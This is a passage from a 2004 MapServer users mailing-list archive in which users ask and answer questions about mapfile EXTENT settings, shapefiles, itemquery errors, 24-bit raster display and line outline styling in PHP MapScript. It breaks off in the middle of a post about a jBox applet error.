From james@lanpad.org Sun Feb 1 02:41:57 2004 From: james@lanpad.org (James Mclean) Date: Sun, 01 Feb 2004 13:11:57 +1030 Subject: [Mapserver-users] A few Mapserv questions Message-ID: <401C6775.9030207@lanpad.org> Hi All, I have worked through the Tutorial on getting mapserver 4.0 to work, but after the first tutorial I have some questions... Please bear in mind that I am new to this GIS type stuff, its like learning french to me. Im a programmer, not a GIS guy :) I have created a basic .map as outlined in the tutorial, and after working through some problems because of a missing PROJ library, I have a working mapserv binary. The basic map file I am using (test.map) is as below... A direct copy and paste from the tuit, with the nesicerry changes. MAP IMAGETYPE PNG EXTENT 254184.15504499 6174213.6411365 314868.3598851 6210501.3473782 SIZE 400 300 SHAPEPATH "/home/jamesmc/asm2.air-stream.org/maps/i5409/" IMAGECOLOR 255 255 255 PROJECTION "proj=laea" "ellps=clrk66" "lat_0=45" "lon_0=-100" # # Alternatively, you can specify an EPSG code. # "init=epsg:2163" # END # Start of LAYER DEFINITIONS --------------------------------------------- LAYER # States polygon layer begins here NAME states DATA i5409t_r STATUS DEFAULT TYPE POLYGON PROJECTION "init=epsg:4269" END CLASS COLOR 232 232 232 OUTLINECOLOR 32 32 32 END END # States polygon layer ends here # End of LAYER DEFINITIONS ------------------------------- END # end of map file/object First question is, the EXTENT paramerter in the map file. What exactly are the numbers ment to be? The tuit says 'Meters', so I assume that means Easting, Northing, but what are the last two? How can I tell what format my maps use? Second question is, I have my SHAPEPATH set correctly (I presume), the directory has 242 files with the extensions .dbf, .prj, .shp, .shx. I assume these are the ERSI Shapefiles I need to reference? The data I downloaded was 1:250K Australian maps, in the MapInfo Shapefile format. In the LAYER section, I have 'DATA i5409t_r', but i5409t_r is just one file. What if the data I want is not in that particular file? How do I know what is in each file? I tried ogrinfo, but I dont understand half of whats going on with it... ogrinfo says 'i5409t_r' is a Polygon file, as what TYPE says in test.map. Based on the above map file, nothing is generated but a plain, white image. Changing the IMAGECOLOR does change the color of the image, so its not a web caching issue. I would like to browse the ERSI Shapefiles to see the maps in them, whats a good program I can use on Linux to do so? I do not have access to a Microsoft based system. Is there a generic .map file I can use with Mapserver to browse my ERSI Shapefiles? Dont say GRASS, im not a GIS professional, I cant understand that program... How can I view the 'layers' in my shapefiles? I am using Debian 3.1 unstable, on kernel 2.4.22 on x86. Mapserver version is 4.0.1, GCC 3.3.3, Mapserver configure command = ./configure --with-ogr=/home/jamesmc/src/gdal-1.1.9 --with-gdal --with-proj --with-jpeg --with-gd --with-httpd=/usr/sbin/apache Apache version is 1.3.29 PHP/Mapscript not built, using mapserv cgi binary. No errors encountered in the browser, or in HTTPD logs. URL http://127.0.0.1/cgi-bin/mapserv?map=/home/jamesmc/asm2.air-stream.org/maps/maps/test.map&mode=map I hope someone is able to shed light on these questions, I would rather do it myself with Mapserver than use mapblast, which cant generate an Australian map to save its life... Regards James Mclean From rich@greenwoodmap.com Sun Feb 1 07:41:34 2004 From: rich@greenwoodmap.com (Richard Greenwood) Date: Sun, 01 Feb 2004 07:41:34 +0000 Subject: [Mapserver-users] A few Mapserv questions In-Reply-To: <401C6775.9030207@lanpad.org> References: <401C6775.9030207@lanpad.org> Message-ID: <401CADAE.6050709@greenwoodmap.com> James Mclean wrote: > Hi All, > > I have worked through the Tutorial on getting mapserver 4.0 to work, > but after the first tutorial I have some questions... > > Please bear in mind that I am new to this GIS type stuff, its like > learning french to me. Im a programmer, not a GIS guy :) > > I have created a basic .map as outlined in the tutorial, and after > working through some problems because of a missing PROJ library, I > have a working mapserv binary. > > The basic map file I am using (test.map) is as below... A direct copy > and paste from the tuit, with the nesicerry changes. > > MAP > IMAGETYPE PNG > EXTENT 254184.15504499 6174213.6411365 314868.3598851 6210501.3473782 > SIZE 400 300 > SHAPEPATH "/home/jamesmc/asm2.air-stream.org/maps/i5409/" > IMAGECOLOR 255 255 255 > > PROJECTION > "proj=laea" > "ellps=clrk66" > "lat_0=45" > "lon_0=-100" > # > # Alternatively, you can specify an EPSG code. > # "init=epsg:2163" > # > END > > # Start of LAYER DEFINITIONS > --------------------------------------------- > LAYER # States polygon layer begins here > NAME states > DATA i5409t_r > STATUS DEFAULT > TYPE POLYGON > > PROJECTION > "init=epsg:4269" > END > > CLASS > COLOR 232 232 232 > OUTLINECOLOR 32 32 32 > END > END # States polygon layer ends here > # End of LAYER DEFINITIONS ------------------------------- > END # end of map file/object > > First question is, the EXTENT paramerter in the map file. What exactly > are the numbers ment to be? The tuit says 'Meters', so I assume that > means Easting, Northing, but what are the last two? The extent is the coordinates that define the bounding box of your data, or area of interest as minx, miny, maxx, maxy, or west, south, east, north bounds. This may bi in linear units (meters, feet, etc.) or angular units (degrees of latitude and longitude). They must correspond to your data. Read the docs http://mapserver.gis.umn.edu/doc40/mapfile-reference.html#map > How can I tell what format my maps use? That can be hard. Ideally the data comes with a statement saying what coordinate system and units the data is in. I see your data includes .prj files, which define the coordinate system, so run gdalinfo.exe foo.shp and it will give you coordinate info. > > Second question is, I have my SHAPEPATH set correctly (I presume), the > directory has 242 files with the extensions .dbf, .prj, .shp, .shx. I > assume these are the ERSI Shapefiles I need to reference? Yes. a "shape" file is a collection of files having the same name, but a different extensions. The .shp contains the spatial info (geometry) The .dbf is just a standard dBase file. The .prj defines the coordinate system. > > The data I downloaded was 1:250K Australian maps, in the MapInfo > Shapefile format. MapInfo files are not shape files. MapInfo files are a similar group of files, that as a minimum include a .tab file. Althought MapInfo data format is supported in mapserver via OGR, stick with the shape files if they are available. > > In the LAYER section, I have 'DATA i5409t_r', but i5409t_r is just one > file. What if the data I want is not in that particular file? How do I > know what is in each file? Grab a free viewer off the ESRI site, or off the freegis site. You can quickly view each file, and also see the coordinates. -- Richard Greenwood www.greenwoodmap.com From scoota@supanet.com Sun Feb 1 23:09:32 2004 From: scoota@supanet.com (Keith Campbell) Date: Sun, 01 Feb 2004 23:09:32 +0000 Subject: [Mapserver-users] Configure - help Message-ID: <401D872C.2070608@supanet.com> Hi All, Can anybody help with this? Running configure (on a Solaris) produces the following messages:- checking if GDAL support requested... yes, user supplied gdal-config (/export/home/local/util/gdal/configure) configure: error: unrecognized option: --libs Try `/export/home/local/util/gdal/configure --help' for more information. configure: error: unrecognized option: --cflags Try `/export/home/local/util/gdal/configure --help' for more information. The script continues after this and produces a Makefile which, unhappily but probably not surprisingly, does not build mapserver. I did post a message recently about the make problems, but I hadn't noticed the errors in the configure at that time. I'm trying to build mapserver that will, as a minimum, act as a WFS server. Please help if you can. Keith From David.Beard@ga.gov.au Sun Feb 1 23:42:44 2004 From: David.Beard@ga.gov.au (David.Beard@ga.gov.au) Date: Mon, 2 Feb 2004 10:42:44 +1100 Subject: [Mapserver-users] FW: Itemquery Message-ID: This is a multi-part message in MIME format. ------_=_NextPart_001_01C3E91D.170BBA16 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Werner,=20 Does the error message you're receiving say "No matching records found, = layer and area of interest do not overlap"? If it does, then check the extents = of your query layer (country) against the extents in your map object. Does = your query layer fall within the map file extents? When I received the = following error message: msQueryByAttributes(): Search returned no results. No = matching record(s) found, layer and area of interest do not overlap, the cause of = the error for me was incorrect map extents in the map file object. Do you have separate query and display layers in your map file? If you = don't (but rather have a single query and display layer), then maybe you need separate layers. The example below has a separate display layer because = the query layer doesn't actually display anything, it's used simply to = define the map extents. This is because there are times when the mapping = application needs to display all polygons in the display layer, without any query process. Also, in this particular case the query dataset is actually a different dataset to that used for display, due to the nature of the = data. If you have only one layer, which doubles as the query and display layer, = you may receive a "No matching records found" if you try to display all = features without sending any query information, since MapServer will perform the = query without any query information, and so return no results. However, I = don't think this is your problem, as you are sending query information.=20 > For an example of an online GIS that successfully uses itemquery, have = a > look at the following URL:=20 > http://www.ozestuaries.org/gis=20 > Type "derwent" into the Search by estuary name box, hit GO and then = hit the > ZOOM link. This ZOOM uses itemquery, within a URL similar to:=20 > = http://www.ozestuaries.org/bin/mapserv40?&map=3D/public/http/www/docs//or= acle > = /ozestuaries/gis/estuary.map&mode=3Ditemquery&mapext=3Dshapes&qlayer=3Dge= ohabquer > = y&qitem=3Destno&qstring=3D579&layer=3Dgeohab&layer=3Dentrances&mapsize=3D= 395+315")=20 >=20 > The qlayer info in the map file looks like this: >=20 > ##### > LAYER > NAME geohabquery > DATA shape/geohabext > TYPE query > STATUS ON > CLASS > END > TEMPLATE frames.html > METADATA > numclasses "nolegend" > END > END > ##### > The associated display layer looks like this: > ##### > LAYER > NAME geohab > DATA shape/geohab > TYPE POLYGON > STATUS ON > MAXSCALE 2000000 > LABELITEM "Gh_symb" > LABELMAXSCALE 100000 > CLASSITEM "Gh_symb" > METADATA > leglabel "Geomorphic habitats" > numclasses "many" > legorder "20" > END > CLASS > EXPRESSION "BBB" > NAME "Barrier/back-barrier" > LABEL > POSITION uc > TYPE TRUETYPE > FONT times > SIZE 8 > COLOR 0 0 0 > OUTLINECOLOR 255 255 255 > END > COLOR 205 205 205 > END > CLASS > EXPRESSION "CB" > NAME "Central Basin" > LABEL > POSITION uc > TYPE TRUETYPE > FONT times > SIZE 8 > COLOR 0 0 0 > OUTLINECOLOR 255 255 255 > END > COLOR 0 195 255 > END >=20 > ... other classes ... >=20 > CLASS > EXPRESSION "X" > NAME "Unassigned" > LABEL > POSITION uc > TYPE TRUETYPE > FONT times > SIZE 8 > COLOR 0 0 0 > OUTLINECOLOR 255 255 255 > END > COLOR 130 130 130 > END > TOLERANCE 5 > TEMPLATE query/geohab.html > END > ##### > And relevant parts of the map object look like this (this is not the = entire > contents of the map object): > ##### > NAME estuary.map > EXTENT -3100000 -5600000 3000000 -1000000 > TEMPLATEPATTERN ".*" >=20 > ##### >=20 > I hope this helps. > Dave=20 -----Original Message----- From: Werner du Plessis [mailto:werner@spatialdimension.co.za]=20 Sent: Friday, 30 January 2004 6:37 PM To: Beard David Subject: RE: [Mapserver-users] FW: Itemquery Hi David, Is this working for you. I have tried every possible combination without = any luck.=20 The following URL: http://mscpt-sd10/cgi-bin/mapserv.exe?map=3Dmap.map&mode=3Ditemnquery&qla= yer=3Dcoun try&qitem=3Dcntry_name&qstring=3DNAMIBIA Returns: msQueryByAttributes(): Search returned no results. No matching record(s) found.=20 I have seen postings Re: the extent being wrong in the mapfile. Any = ideas from your side.=20 Kind Regards Werner du Plessis -----Original Message----- From: David.Beard@ga.gov.au [mailto:David.Beard@ga.gov.au] Sent: Friday, January 30, 2004 12:20 AM To: Werner du Plessis; mapserver-users@lists.gis.umn.edu Subject: RE: [Mapserver-users] FW: Itemquery Werner,=20 Try this: = ...mode=3Ditemnquery&qlayer=3Dcountry&qitem=3Dcntry_name&qstring=3DNAMIBI= A Dave -----Original Message----- From: mapserver-users-admin@lists.gis.umn.edu [mailto:mapserver-users-admin@lists.gis.umn.edu] On Behalf Of Werner du Plessis Sent: Thursday, 29 January 2004 5:41 PM To: mapserver-users@lists.gis.umn.edu Subject: [Mapserver-users] FW: Itemquery Hi,=20 I am experiencing a problem with (Itemquery, Itemnquery). Regardless of syntax I get the message "No Matching Records found".=20 Mapserver : 4.0 OS : Windows 2000 Professional =09 My URL string follows: ...mode=3Ditemnquery&qlayer=3Dcountry&qstring=3D('[CNTRY_NAME]'+EQ+'NAMIB= IA') I have tried all sorts of combinations including upper/lower case field names, but it doesnt seem to make any difference. Any help in this regard would be much appreciated.=20 Kind Regards Werner=20 ------_=_NextPart_001_01C3E91D.170BBA16 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable RE: [Mapserver-users] FW: Itemquery

Werner,=20
Does the error = message you're receiving say "No matching records found, layer = and area of interest do not overlap"? If it does, then = check the extents of = your query layer (country) against the extents in your map object. Does = your query layer fall within the map file extents? When I received = the following = error message: msQueryByAttributes(): Search returned no results. No = matching record(s) found, layer and area of interest do not = overlap, the = cause of the error for me was incorrect map extents in the map = file = object.

Do you have separate = query and display layers in your map file? If you don't (but rather have = a single query and display layer), then maybe you need separate layers. = The example below has a separate display layer because the query layer = doesn't actually display anything, it's used simply to define the map = extents. This is because there are times when the mapping application = needs to display all polygons in the display layer, without any query = process. Also, in this particular case the query dataset is actually a = different dataset to that used for display, due to the nature of the = data. If you have only one layer, which doubles as the query and display = layer, you may receive a "No matching records found" if you = try to display all features without sending any query information, since = MapServer will perform the query without any query information, and so = return no results. However, I don't think this is your problem, as you = are sending query information.

For an example of an online GIS that = successfully uses itemquery, have a look at the following URL:
http://www.ozestuaries.org/gis
Type "derwent" into = the Search by estuary = name box, hit GO and then hit = the ZOOM link. This ZOOM uses itemquery, within a URL similar = to:

http://www.ozestuaries.org/bin/mapserv40?&map=3D/publi= c/http/www/docs//oracle/ozestuaries/gis/estuary.map&mode=3Ditemquery&= amp;mapext=3Dshapes&qlayer=3Dgeohabquery&qitem=3Destno&qstrin= g=3D579&layer=3Dgeohab&layer=3Dentrances&mapsize=3D395+315")

The qlayer info in the map file = looks like this:

#####
LAYER
  NAME geohabquery
  DATA = shape/geohabext
  TYPE query
  STATUS ON
  CLASS
  END
  TEMPLATE = frames.html
  METADATA
    numclasses = "nolegend"
  END
END
#####
The associated display layer = looks like this:
#####
LAYER
  NAME geohab
  DATA shape/geohab
  TYPE POLYGON
  STATUS ON
  MAXSCALE 2000000
  LABELITEM = "Gh_symb"
  LABELMAXSCALE = 100000
  CLASSITEM = "Gh_symb"
  METADATA
        leglabel "Geomorphic habitats"
    numclasses = "many"
    legorder = "20"
  END
  CLASS
    EXPRESSION = "BBB"
    NAME = "Barrier/back-barrier"
    LABEL
      = POSITION uc
      = TYPE TRUETYPE
      = FONT times
      = SIZE 8
      = COLOR 0 0 0
          OUTLINECOLOR 255 255 255
    END
    COLOR 205 205 = 205
  END
  CLASS
    EXPRESSION = "CB"
    NAME = "Central Basin"
    LABEL
      = POSITION uc
      = TYPE TRUETYPE
      = FONT times
      = SIZE 8
      = COLOR 0 0 0
          OUTLINECOLOR 255 255 255
    END
    COLOR 0 195 = 255
  END

  … other classes = …

  CLASS
    EXPRESSION = "X"
    NAME = "Unassigned"
    LABEL
      = POSITION uc
      = TYPE TRUETYPE
      = FONT times
      = SIZE 8
      = COLOR 0 0 0
          OUTLINECOLOR 255 255 255
    END
    COLOR 130 130 = 130
  END
  TOLERANCE 5
  TEMPLATE = query/geohab.html
END
#####
And relevant parts = of the map object look like this (this is not the entire contents of the = map object):
#####
NAME estuary.map
EXTENT -3100000 -5600000 = 3000000 -1000000
TEMPLATEPATTERN = ".*"

#####

I hope this helps.
Dave=20
-----Original = Message-----
From: Werner du Plessis = [mailto:werner@spatialdimension.co.za]
Sent: Friday, 30 January 2004 = 6:37 PM
To: Beard David
Subject: RE: [Mapserver-users] = FW: Itemquery

Hi David,

Is this working for you. I have = tried every possible combination without any luck.

The following URL: http://mscpt-sd10/cgi-bin/mapserv.exe?map=3Dmap.map&mode=3Ditemn= query&qlayer=3Dcountry&qitem=3Dcntry_name&qstring=3DNAMIBIA

Returns:
msQueryByAttributes(): Search = returned no results. No matching record(s) found.

I have seen postings Re: the = extent being wrong in the mapfile. Any ideas from your side.

Kind Regards
Werner du Plessis

-----Original Message-----
From: David.Beard@ga.gov.au = [mailto:David.Beard@ga.gov.au]
Sent: Friday, January 30, 2004 = 12:20 AM
To: Werner du Plessis; = mapserver-users@lists.gis.umn.edu
Subject: RE: [Mapserver-users] = FW: Itemquery


Werner,

Try this: = ...mode=3Ditemnquery&qlayer=3Dcountry&qitem=3Dcntry_name&qstr= ing=3DNAMIBIA

Dave


-----Original Message-----
From: = mapserver-users-admin@lists.gis.umn.edu
[mailto:mapserver-users-admin@lists.gis.umn.edu] On Behalf Of Werner du Plessis
Sent: Thursday, 29 January 2004 = 5:41 PM
To: = mapserver-users@lists.gis.umn.edu
Subject: [Mapserver-users] FW: = Itemquery



Hi,

I am experiencing a problem with = (Itemquery, Itemnquery). Regardless of syntax I get the message "No = Matching Records found".

Mapserver       : =       4.0
OS      =         = :       Windows 2000 Professional
        =        =20
My URL string follows:
...mode=3Ditemnquery&qlayer=3Dcountry&qstring=3D('[CNTRY_NAM= E]'+EQ+'NAMIBIA')

I have tried all sorts of = combinations including upper/lower case field names, but it doesnt seem = to make any difference.

Any help in this regard would be = much appreciated.

Kind Regards
Werner=20


------_=_NextPart_001_01C3E91D.170BBA16-- From delfos18@yahoo.com Mon Feb 2 00:02:55 2004 From: delfos18@yahoo.com (J. Delfos) Date: Sun, 1 Feb 2004 16:02:55 -0800 (PST) Subject: [Mapserver-users] 24bit Raster Image In-Reply-To: <1075475603.401a749365aff@www.agi-lan.com> Message-ID: <20040202000255.22603.qmail@web12103.mail.yahoo.com> If it says it can't recognize the image format, maybe your TIF uses a compression that is not supported. There are many sorts of TIF. Perhaps try to convert your TIF into a different compression, or better: uncompressed (better from a compatibility point of view). But if space is an issue, you should consider converting it to ECW format (www.ermapper.com). That should work without much loss of quality. regards, Jacob --- "Jason M. Nielsen" wrote: > > -----Original Message----- > > From: Richie Pierce [mailto:Richard.Pierce@mail.state.ar.us] > > Sent: Thursday, January 29, 2004 12:22 PM > > To: mapserver-users@lists.gis.umn.edu > > Subject: [Mapserver-users] 24bit Raster Image > > > > > > I am trying to add a 24bit raster image to my map without any success. > > I get an error like this: > > > > msDrawRaster(): Image handling error. Unrecognized or unsupported > image > > format > > drawEPP(): Image handling error. > > c:\inetpub\wwwroot\test_site\data\index\tifs\beedeville_ne.tif is not > an > > EPPL file. > > > > I browsed the archives and saw some mention of a bug and having to > > re-sample it down to an 8bit image. I was wondering if there has been > > fixes found for this error. I would prefer not to create 8bit images > > for a state wide ortho set (server space being limited). Any help > > would be great. Thanks > > Using a similiar setup here. SLC Valley wide ortho 24bit color image. > Below is > my mapserver setup and the basics of my .map file that related to the > display of > that rasters. Everything here works fine accept the display of a legend > icon. > > [root@vad3rZIM mymstest]# ../../cgi-bin/mapserv -v > MapServer version 4.0.1 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP SUPPORTS=PROJ > SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT > SUPPORTS=WFS_SERVER > SUPPORTS=WFS_CLIENT INPUT=EPPL7 INPUT=JPEG INPUT=POSTGIS INPUT=OGR > INPUT=GDAL > INPUT=SHAPEFILE > > NAME UTC > STATUS ON > SIZE 600 600 > #EXTENT 1400000.0 7000000.0 1900000.0 7500000.0 > EXTENT 1468185.000 7329845.000 1563785.000 7473605.000 > UNITS FEET > SHAPEPATH "data" > IMAGECOLOR 0 0 0 > IMAGETYPE PNG24 > > LAYER > NAME slc > TYPE RASTER > STATUS OFF > DATA "slc_tiled.tif" > PROCESSING "DITHER=YES" > METADATA > foobar "Salt Lake City Color Ortho 10' Pixel" > proj "NAD83 Utah Central Stateplane (US Foot)" > stuff "Just more stuff." > END > END > > > > ------------------------------------------------- > This mail sent through IMP: http://horde.org/imp/ > _______________________________________________ > Mapserver-users mailing list > Mapserver-users@lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users __________________________________ Do you Yahoo!? Yahoo! SiteBuilder - Free web site building tool. Try it! http://webhosting.yahoo.com/ps/sb/ From Richard.Pierce@mail.state.ar.us Mon Feb 2 02:17:55 2004 From: Richard.Pierce@mail.state.ar.us (Richie Pierce) Date: Sun, 1 Feb 2004 20:17:55 -0600 Subject: [Mapserver-users] 24bit Raster Image Message-ID: Thanks for everyone's input. After attempting many recommended fixes I figured out that I made a freshman error. I used gdalinfo to check the status of my tiff files and found out that the majority of them were corrupted. Don't know where the corruption came from but thank goodness for backup tapes. Richie Pierce GIS Cadastral Specialist Arkansas Geographic Information Office 124 W. Capitol St. Little Rock, AR 72201 (w) 501-682-2937 (c) 501-416-CAMP www.gis.state.ar.us -----Original Message----- From: mapserver-users-admin@lists.gis.umn.edu [mailto:mapserver-users-admin@lists.gis.umn.edu] On Behalf Of J. Delfos Sent: Sunday, February 01, 2004 6:03 PM To: Jason M. Nielsen Cc: mapserver-users@lists.gis.umn.edu Subject: RE: [Mapserver-users] 24bit Raster Image If it says it can't recognize the image format, maybe your TIF uses a compression that is not supported. There are many sorts of TIF. Perhaps try to convert your TIF into a different compression, or better: uncompressed (better from a compatibility point of view). But if space is an issue, you should consider converting it to ECW format (www.ermapper.com). That should work without much loss of quality. regards, Jacob --- "Jason M. Nielsen" wrote: > > -----Original Message----- > > From: Richie Pierce [mailto:Richard.Pierce@mail.state.ar.us] > > Sent: Thursday, January 29, 2004 12:22 PM > > To: mapserver-users@lists.gis.umn.edu > > Subject: [Mapserver-users] 24bit Raster Image > > > > > > I am trying to add a 24bit raster image to my map without any success. > > I get an error like this: > > > > msDrawRaster(): Image handling error. Unrecognized or unsupported > image > > format > > drawEPP(): Image handling error. > > c:\inetpub\wwwroot\test_site\data\index\tifs\beedeville_ne.tif is not > an > > EPPL file. > > > > I browsed the archives and saw some mention of a bug and having to > > re-sample it down to an 8bit image. I was wondering if there has been > > fixes found for this error. I would prefer not to create 8bit images > > for a state wide ortho set (server space being limited). Any help > > would be great. Thanks > > Using a similiar setup here. SLC Valley wide ortho 24bit color image. > Below is > my mapserver setup and the basics of my .map file that related to the > display of > that rasters. Everything here works fine accept the display of a legend > icon. > > [root@vad3rZIM mymstest]# ../../cgi-bin/mapserv -v > MapServer version 4.0.1 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP SUPPORTS=PROJ > SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT > SUPPORTS=WFS_SERVER > SUPPORTS=WFS_CLIENT INPUT=EPPL7 INPUT=JPEG INPUT=POSTGIS INPUT=OGR > INPUT=GDAL > INPUT=SHAPEFILE > > NAME UTC > STATUS ON > SIZE 600 600 > #EXTENT 1400000.0 7000000.0 1900000.0 7500000.0 > EXTENT 1468185.000 7329845.000 1563785.000 7473605.000 > UNITS FEET > SHAPEPATH "data" > IMAGECOLOR 0 0 0 > IMAGETYPE PNG24 > > LAYER > NAME slc > TYPE RASTER > STATUS OFF > DATA "slc_tiled.tif" > PROCESSING "DITHER=YES" > METADATA > foobar "Salt Lake City Color Ortho 10' Pixel" > proj "NAD83 Utah Central Stateplane (US Foot)" > stuff "Just more stuff." > END > END > > > > ------------------------------------------------- > This mail sent through IMP: http://horde.org/imp/ > _______________________________________________ > Mapserver-users mailing list > Mapserver-users@lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users __________________________________ Do you Yahoo!? Yahoo! SiteBuilder - Free web site building tool. Try it! http://webhosting.yahoo.com/ps/sb/ _______________________________________________ Mapserver-users mailing list Mapserver-users@lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From htyen1@yahoo.com Mon Feb 2 02:52:40 2004 From: htyen1@yahoo.com (Howard Yen) Date: Sun, 1 Feb 2004 18:52:40 -0800 (PST) Subject: [Mapserver-users] New to Mapping and Mapserver Message-ID: <20040202025240.54703.qmail@web41502.mail.yahoo.com> Hi, I am new to mapping and mapserver. however I have been developing web apps for quite a while now. I have: - apache - mysql - mapserv ( i have compile it with GIf, JPEG and TIFF support as a CGI). I also have a set of shape file name: mhlt.shx mhlt.shp mhlt.dbf The demo application that was available on mapservers webiste I have install and made it work so my mapserv cgi is working fine. however now I am totally confused and stump. how do I even begin with the above shapefiles? I am totally new at this and have been trying to figure things out. any pointers and suggestions will be greatly appreciated. thx __________________________________ Do you Yahoo!? Yahoo! SiteBuilder - Free web site building tool. Try it! http://webhosting.yahoo.com/ps/sb/ From htyen1@yahoo.com Mon Feb 2 03:20:36 2004 From: htyen1@yahoo.com (Howard Yen) Date: Sun, 1 Feb 2004 19:20:36 -0800 (PST) Subject: [Mapserver-users] New to Mapping and Mapserver Message-ID: <20040202032036.32101.qmail@web41511.mail.yahoo.com> Hi, I am new to mapping and mapserver. however I have been developing web apps for quite a while now. I have: - apache - mysql - mapserv ( i have compile it with GIf, JPEG and TIFF support as a CGI). I also have a set of shape file name: mhlt.shx mhlt.shp mhlt.dbf The demo application that was available on mapservers webiste I have install and made it work so my mapserv cgi is working fine. however now I am totally confused and stump. how do I even begin with the above shapefiles? I am totally new at this and have been trying to figure things out. any pointers and suggestions will be greatly appreciated. thx __________________________________ Do you Yahoo!? Yahoo! SiteBuilder - Free web site building tool. Try it! http://webhosting.yahoo.com/ps/sb/ From zak-ms@hoppsan.org Mon Feb 2 03:54:12 2004 From: zak-ms@hoppsan.org (Zak James) Date: Sun, 1 Feb 2004 22:54:12 -0500 Subject: [Mapserver-users] New to Mapping and Mapserver In-Reply-To: <20040202025240.54703.qmail@web41502.mail.yahoo.com> References: <20040202025240.54703.qmail@web41502.mail.yahoo.com> Message-ID: <76A4E312-5533-11D8-8CCB-000393D97CCC@hoppsan.org> Howard, I suggest you experiment by modifying the mapfile from the tutorial. If your shapefiles are present in a directory indicated by the SHAPEPATH in your mapfile, you can reference them in a LAYER with a line like DATA "mhlt". Some good places to look for basic information are the mapfile reference: http://mapserver.gis.umn.edu/doc/mapfile-reference.html and the wiki: http://mapserver.gis.umn.edu/cgi-bin/wiki.pl -- Zak James Applications and Software Development DM Solutions Group Inc. http://www.dmsolutions.ca On Feb 1, 2004, at 9:52 PM, Howard Yen wrote: > Hi, > > I am new to mapping and mapserver. however I have been > developing web apps for quite a while now. > > I have: > - apache > - mysql > - mapserv ( i have compile it with GIf, JPEG and TIFF > support as a CGI). > > I also have a set of shape file name: > > mhlt.shx > mhlt.shp > mhlt.dbf > > The demo application that was available on mapservers > webiste I have install and made it work so my mapserv > cgi is working fine. > > however now I am totally confused and stump. how do I > even begin with the above shapefiles? > > I am totally new at this and have been trying to > figure things out. any pointers and suggestions will > be greatly appreciated. > > thx > > > > > __________________________________ > Do you Yahoo!? > Yahoo! SiteBuilder - Free web site building tool. Try it! > http://webhosting.yahoo.com/ps/sb/ > _______________________________________________ > Mapserver-users mailing list > Mapserver-users@lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From htyen1@yahoo.com Mon Feb 2 05:58:02 2004 From: htyen1@yahoo.com (Howard Yen) Date: Sun, 1 Feb 2004 21:58:02 -0800 (PST) Subject: [Mapserver-users] MapInfo nad Shapefile Example Message-ID: <20040202055802.69900.qmail@web41511.mail.yahoo.com> does anyone have a MapInfo and Shapefile file and its corresponding mapsever map file? if so please email it to me, thx. __________________________________ Do you Yahoo!? Yahoo! SiteBuilder - Free web site building tool. Try it! http://webhosting.yahoo.com/ps/sb/ From mapserver@geochem.de Mon Feb 2 09:31:21 2004 From: mapserver@geochem.de (Nicol Hermann) Date: 02 Feb 2004 10:31:21 +0100 Subject: [Mapserver-users] Outlinecolor of a MS_LAYER_LINE Type In-Reply-To: <401ABBAF.9879.97EB73E@localhost> References: <401ABBAF.9879.97EB73E@localhost> Message-ID: <1075714281.485.12.camel@emil> Hi Steve, thanks for your mail. Your example works fine for me with a map-file but how do i achieve the same effect only with phpmapscript? I coundn't find the overlaycolor-keyword in the mapscript documentation neither in the style- nor the class object. Do you have a further tip for me? Thanks Nicol Am Sam, 2004-01-31 um 02.16 schrieb woodbri@swoodbridge.com: > There is a different strategy for rendering lines like you want. > > SYMBOL "circle" > COLOR 0 0 0 > SIZE 5 > OVERLAYCOLOR 255 0 0 > OVERLAYSIZE 3 > > This will draw a 5 pixel wide black line and then draw a 3 pixel wide > red line on top of it. Which will leave one pixel of black on each > side of the red line. > > You can adjust the colors and widths for different effects. > > Hope this helps, > Steve W. (one of the other Steve's :) > > On 30 Jan 2004 at 22:49, Nicol Hermann wrote: > > > Hi Steve, > > > > i hoping to achieve the same effect like it appears with point and > > polygon layers. I would like to see a line which is enclosed which the > > two lines of the outline color. The 'size' parameter only affects the > > thickness of the line. > > > > || Line|| > > ^ ^ > > |Line with the Outlinecolor > > > > Is there's a special cause that the outline color is ignored by the > > line rendering code? > > > > Thanks > > Nicol > > > > > > Am Fr, den 30.01.2004 schrieb Steve Lime um 21:49: > > > It's be awhile since I've looked at that source code but my guess is > > > that outline colors are ignored by the line rendering code. What sort of > > > an effect are you hoping to achieve? > > > > > > Steve > > > > > > >>> 1/30/2004 7:52:01 AM >>> > > > > > > Hi List, > > > > > > i want to set the outlinecolor within the StyleObj of a layer with the > > > type MS_LAYER_LINE. I use the following code but the outlinecolor do > > > not > > > appear: > > > > > > $Layer -> set("type", MS_LAYER_LINE ); > > > $poClass = ms_newClassObj($Layer); > > > $styleObj = ms_newStyleObj($poClass); > > > $styleObj -> color -> setRGB ( 0, 0, 255 ); > > > $styleObj -> outlinecolor -> setRGB ( 0 , 0, 50); > > > $styleObj -> set ("symbolname", "kreis"); > > > $styleObj -> set ("size", 8); > > > $poClass -> set("name", "Germany"); > > > > > > The same code works with MS_LAYER_POINT and MS_LAYER_POLYGON. > > > > > > Do i miss something? > > > Thanks in advance. > > > Nicol > > > _______________________________________________ > > > Mapserver-users mailing list > > > Mapserver-users@lists.gis.umn.edu > > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > -- > > Nicol Hermann > > > > _______________________________________________ > > Mapserver-users mailing list > > Mapserver-users@lists.gis.umn.edu > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users@lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > From kristjan@tarkvarastuudio.ee Mon Feb 2 08:29:01 2004 From: kristjan@tarkvarastuudio.ee (Kristjan Annus) Date: Mon, 02 Feb 2004 10:29:01 +0200 Subject: [Mapserver-users] jBox applet and setImage method Message-ID: <401E0A4D.7030908@tarkvarastuudio.ee> I cant get jBox setImage method work in Netscape and Mozilla browsers. When I'm trying to swich the picture I get some kind of Java security error: java.security.PrivilegedActionException: 